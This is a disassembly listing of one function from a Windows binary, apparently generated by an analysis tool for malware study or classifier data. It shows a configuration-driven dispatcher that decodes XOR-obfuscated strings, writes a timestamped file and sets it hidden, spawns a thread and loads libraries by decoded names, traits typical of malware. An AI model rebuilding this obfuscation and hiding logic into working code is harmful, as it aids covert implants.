Function at 0x428710
Capabilities:
Create thread
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x584b36
push eax
mov dword fs:[0], esp
sub esp, 0x160
call fcn.00427b50
cmp dword [0x6bd740], 1
jne 0x428741
call fcn.00427a80
cmp dword [0x6bd7a4], 0
jne 0x428753
cmp dword [0x6bd7ac], 1
jne 0x428758
call fcn.00426ed0
cmp dword [0x6bd784], 1
jne 0x428766
call fcn.0040b250
cmp dword [0x6bd7b0], 1
jne 0x428774
call fcn.0040b320
cmp dword [0x6bd750], 1
jne 0x42878f
push 0
push 0
push 0x40d530
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
cmp dword [0x6bd7a4], 1
jne 0x42879d
call fcn.004255d0
cmp dword [0x6bd7ac], 0
je 0x4287b0
call fcn.00425090
call fcn.0040af60
cmp dword [0x6bd7b8], 1
jne 0x4287be
call fcn.0041b760
cmp dword [0x6bd7bc], 1
jne 0x4287cc
call fcn.0041bd00
cmp dword [0x6bd7f0], 1
jne 0x4287da
call fcn.00428e40
cmp dword [0x6bd72c], 1
push ebx
push esi
push edi
jne 0x428c7b
mov dword [ebp - 0x10], 0x5944b8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x428842
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428839
sub edi, ecx
lea ecx, [ecx]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428820
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x41b730
push edi
push dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040a570
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov dword [ebp - 0x10], 0x594508
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4288b3
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x4288aa
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428891
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x41b730
push edi
push dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040a570
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [0x6bd78c], 1
jne 0x4289f9
mov dword [ebp - 0x10], 0x58db84
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x428932
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428929
sub edi, ecx
nop
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428910
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x16c]
call fcn.0040ba20
mov dword [ebp - 0x10], 0x594558
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x4289a2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428999
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428980
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.0040a570
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.004096e0
test eax, eax
jne 0x4289db
push eax
mov eax, dword [ebp - 0x16c]
lea ecx, [ebp - 0x16c]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x10c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040bb20
lea ecx, [ebp - 0x10c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [0x6bd79c], 1
jne 0x428d5b
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCR120.dll__time64]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCR120.dll__localtime64]
mov dword [ebp - 0x10], 0x5911ec
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [ebx + 0x13], 0
je 0x428a75
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428a6c
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428a53
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0xc4]
call fcn.0040ba20
mov dword [ebp - 0x10], str._rwBmWjj
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x428ae3
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428ada
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428ac1
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040a570
push dword [ebp - 0x14]
call dword [sym.imp.MSVCR120.dll_asctime]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0040a570
mov dword [ebp - 0x10], 0x594558
add esp, 0x14
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x428b62
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428b59
sub edi, ecx
lea esp, [esp]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428b40
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040a570
mov dword [ebp - 0x10], 0x58dc18
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x428bc7
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428bbe
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428ba5
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040a570
add esp, 8
lea ecx, [ebp - 0xc0]
call fcn.004096e0
test eax, eax
jne 0x428c00
push eax
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x10], 0x5911ec
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x428c55
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428c4c
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428c33
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], 0xffffffff
call fcn.0040bb20
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x428d5b
cmp dword [0x6bd73c], 1
jne 0x428c89
call fcn.0041cd30
cmp dword [0x6bd788], 1
jne 0x428c97
call fcn.00426be0
cmp dword [0x6bd7d8], 1
jne 0x428ca5
call fcn.0040eab0
cmp dword [0x6bd744], 1
jne 0x428cb3
call fcn.0040c070
cmp dword [0x6bd7c0], 1
jne 0x428cc1
call fcn.0041ee80
cmp dword [0x6bd748], 1
jne 0x428ccf
call fcn.0040c5c0
cmp dword [0x6bd7cc], 1
jne 0x428cdd
call fcn.00415460
cmp dword [0x6bd7c4], 1
jne 0x428ceb
call fcn.0040fb90
cmp dword [0x6bd7c8], 1
jne 0x428cf9
call fcn.00415cb0
cmp dword [0x6bd7d0], 1
jne 0x428d07
call fcn.00414e60
cmp dword [0x6bd780], 1
jne 0x428d15
call fcn.0040faf0
cmp dword [0x6bd798], 1
jne 0x428d23
call fcn.0041da50
cmp dword [0x6bd774], 1
jne 0x428d31
call fcn.0041ad40
cmp dword [0x6bd7e0], 1
jne 0x428d3f
call fcn.0041aaf0
cmp dword [0x6bd7d4], 1
jne 0x428d4d
call fcn.0041e290
cmp dword [0x6bd794], 1
jne 0x428d5b
call fcn.0041e530
cmp dword [0x6bd734], 1
jne 0x428d69
call fcn.00427140
cmp dword [0x6bd738], 1
jne 0x428d77
call fcn.0041ee60
cmp dword [0x6bd7e8], 1
jne 0x428d85
call fcn.00427110
cmp dword [0x6bd74c], 1
jne 0x428da1
cmp dword [0x6bd72c], 0
jne 0x428da1
call fcn.0040e4b0
call fcn.0040e4d0
cmp dword [0x6bd77c], 1
jne 0x428db6
push dword [0x6bd704]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x6bd778], 1
jne 0x428e1b
mov dword [ebp - 0x10], 0x5945dc
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x428e14
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x428e0b
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x428df2
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x6bd874], 1
pop edi
pop esi
pop ebx
jne 0x428e2c
call fcn.00426ee0
mov ecx, dword [ebp - 0xc]
mov eax, 1
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret